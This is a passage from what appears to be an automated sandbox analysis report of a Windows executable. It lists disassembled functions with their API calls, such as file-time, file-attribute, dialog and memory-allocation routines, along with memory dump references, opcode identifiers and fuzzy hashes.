                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ItemText
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3367045223-0
                                                                                                                                                                                                                                                                    • Opcode ID: 54273ffca827514206d73302a319f09290d2947e75497a48b590f5404e8d134f
                                                                                                                                                                                                                                                                    • Instruction ID: 7ddc7939bbc6997db4e46723a1ea84f67d1eb5a1b804fd32a514c615b0e8a367
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 54273ffca827514206d73302a319f09290d2947e75497a48b590f5404e8d134f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 2DD0A7301106249FDB32A720E801BC6BBE8BF49700F80056EE48286561D764B991C788
                                                                                                                                                                                                                                                                    Function 004047F4 Relevance: 1.5, APIs: 1, Instructions: 9timeCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetFileTime.KERNELBASE(?,?,?,?,0040B7E7,00000000,00000000,00000000), ref: 00404802
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: FileTime
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1425588814-0
                                                                                                                                                                                                                                                                    • Opcode ID: 1747e296422807fe7e08a4852a4b49f21b7a2dc1fb5098c2f50bc72f35b5ef15
                                                                                                                                                                                                                                                                    • Instruction ID: 097119e42d876942feea11de77e02c88dc52f1d0728cd243263ddf67d0b43124
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 1747e296422807fe7e08a4852a4b49f21b7a2dc1fb5098c2f50bc72f35b5ef15
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: C9C04C36158205FF8F120F70CC04D1ABBA2EB95311F10C918B169C4070C7328024EB06
                                                                                                                                                                                                                                                                    Function 00405DBA Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • DialogBoxParamW.USER32(?,?,00405D40,?,00414AF1), ref: 00405DCE
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: DialogParam
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 665744214-0
                                                                                                                                                                                                                                                                    • Opcode ID: 96d3df017a045700b278ec7537774119447cee0b795ef4385b6b517b6e6d5a6d
                                                                                                                                                                                                                                                                    • Instruction ID: 66301443db38ffa9dda457df66460121c3dd6a4dcd2ce915d3e85745de645158
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 96d3df017a045700b278ec7537774119447cee0b795ef4385b6b517b6e6d5a6d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FDC04C31104241ABCB02DF50DD09D2A7A61FF95300B54882AB2501407083625424DF59
                                                                                                                                                                                                                                                                    Function 00404090 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetFileAttributesW.KERNELBASE(?,00403AF7), ref: 00404091
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AttributesFile
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3188754299-0
                                                                                                                                                                                                                                                                    • Opcode ID: 3fa9057e520350eb0908adb99f81bb4c9546e7580eefc3b396430a8ff70d2e8f
                                                                                                                                                                                                                                                                    • Instruction ID: 0b83fb23a8b86a0ae14a156a7843b6e938be41a3d99baad6bfe125236a6876ef
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3fa9057e520350eb0908adb99f81bb4c9546e7580eefc3b396430a8ff70d2e8f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 99A011A0A2000082CA300330AC0802A2B008A80332BB00BA2E330E00E0CBB8CC0022A8
                                                                                                                                                                                                                                                                    Function 00404890 Relevance: 1.5, APIs: 1, Instructions: 6fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetEndOfFile.KERNELBASE(?,004048D5,?,?,?), ref: 00404892
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: File
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 749574446-0
                                                                                                                                                                                                                                                                    • Opcode ID: 4877def579187a439d091a120b9cce330d01ec03bb2ce6299276197d0a8db838
                                                                                                                                                                                                                                                                    • Instruction ID: b8ddff0f0ce236edcb9b80f72c6c1c5c59f5cede9ce630d845cafbcf44f1e6be
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 4877def579187a439d091a120b9cce330d01ec03bb2ce6299276197d0a8db838
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A0A002703E511B8B8F221F34DD098293BA2EB52B0776417B4B117D94F8DF224419AA45
                                                                                                                                                                                                                                                                    Function 00403AD3 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CreateDirectoryW.KERNELBASE(?,00000000,0040A767,00000000), ref: 00403AD6
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CreateDirectory
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4241100979-0
                                                                                                                                                                                                                                                                    • Opcode ID: c95993cc7aa80901046e77a6dbaa03ab7b6ee4df2008d9327907361542b26492
                                                                                                                                                                                                                                                                    • Instruction ID: ebcd7574a33d875d63db4f9251059e75270ee4e63f64a2f695ed0c5a2ff1a3c0
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c95993cc7aa80901046e77a6dbaa03ab7b6ee4df2008d9327907361542b26492
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: D6A022303003088BE2300B300E0AF0F228CAF00BC0F80882C3200C80E0EB28C0008008
                                                                                                                                                                                                                                                                    Function 00403A97 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • SetFileAttributesW.KERNELBASE ref: 00403A99
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AttributesFile
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3188754299-0
                                                                                                                                                                                                                                                                    • Opcode ID: 7b92a3730b5fef3cc42d1066d5a852b8a4492f94cdb29db13c9b1ca3bd427707
                                                                                                                                                                                                                                                                    • Instruction ID: 60e4c2d02b9765280195f1672c84df48c3864d808d09589d9af1a8e40566ec74
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 7b92a3730b5fef3cc42d1066d5a852b8a4492f94cdb29db13c9b1ca3bd427707
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 78A002A03112459BA6251B315E09F2F266EFEC1BD1745C56C7411C5060EB29C8515666
                                                                                                                                                                                                                                                                    Function 0040237F Relevance: 1.3, APIs: 1, Instructions: 45COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,0042D058), ref: 004023E4
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: malloc.MSVCRT ref: 004020A5
                                                                                                                                                                                                                                                                      • Part of subcall function 0040209F: _CxxThrowException.MSVCRT(?,0042D020), ref: 004020BF
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$malloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4218900083-0
                                                                                                                                                                                                                                                                    • Opcode ID: ac12ef5582262f7e8ada6ae561dc7d55595c1e65e11331a06b86cee080144c64
                                                                                                                                                                                                                                                                    • Instruction ID: e59cd4a6e87fe8e1b0b053b35584d26b84416c3386ce05b15efd27cf1257a670
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: ac12ef5582262f7e8ada6ae561dc7d55595c1e65e11331a06b86cee080144c64
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: E101F936200204AFC724DF59D184956B7ECFF89359720843FEB89D7391D275A885CBA8
                                                                                                                                                                                                                                                                    Function 004065A9 Relevance: 1.3, APIs: 1, Instructions: 38COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ErrorLast
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 1452528299-0
                                                                                                                                                                                                                                                                    • Opcode ID: 99076d33edc76cd436a1c13e17d6807c01186c973a9cb8fc89e0daa3f545ebe4
                                                                                                                                                                                                                                                                    • Instruction ID: 7bc43799675e37048f70a3f78925f3da4a0ac5263c65e7d87a57a24a7a99c758
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 99076d33edc76cd436a1c13e17d6807c01186c973a9cb8fc89e0daa3f545ebe4
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: B0F03C71200206EBDB34CF54EC009BB77A9FF55310B11493AAA17EB294D73AE8219B59
                                                                                                                                                                                                                                                                    Function 0041F480 Relevance: 1.3, APIs: 1, Instructions: 17COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: malloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2803490479-0
                                                                                                                                                                                                                                                                    • Opcode ID: f828730ff2e2aeab1ed82d0c7b6f239da68ef65af33f240b351f198d901035cb
                                                                                                                                                                                                                                                                    • Instruction ID: 64daeff32a63ce31a9815be5abd2871e0a1b9e89b015a75778428974a46a4108
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f828730ff2e2aeab1ed82d0c7b6f239da68ef65af33f240b351f198d901035cb
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: CCD0A77025310116DF488670884579771943F64306FD8867EE857CA681FB1DC49A8748
                                                                                                                                                                                                                                                                    Function 00404635 Relevance: 1.3, APIs: 1, Instructions: 16COMMONLIBRARYCODE
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(?,?,00404607), ref: 00404640
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: CloseHandle
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2962429428-0
                                                                                                                                                                                                                                                                    • Opcode ID: 8f14f25d0a08195d688ffe9e41955209db87d83e11149b69f25caf95e26f77a6
                                                                                                                                                                                                                                                                    • Instruction ID: 667c04bb76d71296f7636e2b6ae878b6711b81b5cf32694ffc58bf51104b47c9
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 8f14f25d0a08195d688ffe9e41955209db87d83e11149b69f25caf95e26f77a6
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 86D0C97151412146CE742E3CB8446C233996A933303210B6AF1B0D32E0E77A8C834698
                                                                                                                                                                                                                                                                    Function 0041F3D0 Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004,00406A2C), ref: 0041F3E1
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AllocVirtual
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                    • Opcode ID: c88d54c6870755b1682da7963160bad3f2b64d83dbb3ead14244039faddef471
                                                                                                                                                                                                                                                                    • Instruction ID: 529c02ca77a7eb049257996327ff5f6e691d9d7b3c869c5c7c54af303b0f936b
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: c88d54c6870755b1682da7963160bad3f2b64d83dbb3ead14244039faddef471
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: FCB012F07912C036FE7A03214D0BFBB11409344B47F8000B8BB15D80C4EBD09445601C
                                                                                                                                                                                                                                                                    Function 0041F440 Relevance: 1.3, APIs: 1, Instructions: 10memoryCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0041F451
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: AllocVirtual
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 4275171209-0
                                                                                                                                                                                                                                                                    • Opcode ID: cbc8cdbdef685948095b973fca9ad7c4c0c6e73d540b33c72a245d0ba5f928ba
                                                                                                                                                                                                                                                                    • Instruction ID: 53bf0c9e20e0ef60761d88ec269c213570173785a61c2be55d70406d6af0df7a
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cbc8cdbdef685948095b973fca9ad7c4c0c6e73d540b33c72a245d0ba5f928ba
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: A5B012F0F8024035FE7142614D06FB71162E3E4F5BF54C074BB04A80C8EFE04446501D
                                                                                                                                                                                                                                                                    Function 0041F3A0 Relevance: 1.3, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: malloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2803490479-0
                                                                                                                                                                                                                                                                    • Opcode ID: 60b8d2dd2d2c55b39dd271b2041819ad3827b0c5babccb5a52adff80306bfa66
                                                                                                                                                                                                                                                                    • Instruction ID: 0e2797aca8233ff845f7cd6ad09d493de31ead746bcc29245ec1fb8fb676a4cf
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 60b8d2dd2d2c55b39dd271b2041819ad3827b0c5babccb5a52adff80306bfa66
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 6FA012D4A2200011EE1C113238010572001169410A7C0047D780AC0101F70DC0482009
                                                                                                                                                                                                                                                                    Function 0041F410 Relevance: 1.3, APIs: 1, Instructions: 8COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157703717.000000000042B000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157720482.0000000000432000.00000004.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157741878.0000000000438000.00000002.00000001.01000000.00000005.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_5_2_400000_clean.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: malloc
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 2803490479-0
                                                                                                                                                                                                                                                                    • Opcode ID: cf10f171c4586a887b240503c8f44b2d932452ef7c6a481b29bcc189e2d8cd5d
                                                                                                                                                                                                                                                                    • Instruction ID: f511ee5f484fb7e661e757529c67acfceef17e39b8d6c9b73731222277dd7a8d
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: cf10f171c4586a887b240503c8f44b2d932452ef7c6a481b29bcc189e2d8cd5d
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 3BA012CCE1501010EA0410313801053201225F45097C4C479680440105FB1CD4492009
                                                                                                                                                                                                                                                                    Function 0041F3F0 Relevance: 1.3, APIs: 1, Instructions: 7COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • VirtualFree.KERNELBASE(00000000,00000000,00008000,00406A25), ref: 0041F3FC
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 00000005.00000002.2157677960.0000000000401000.00000020.00000001.01000000.00000005.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 00000005.00000002.2157660982.0000000000400000.00000002.00000001.01000000.00000005.sdmpDownload File
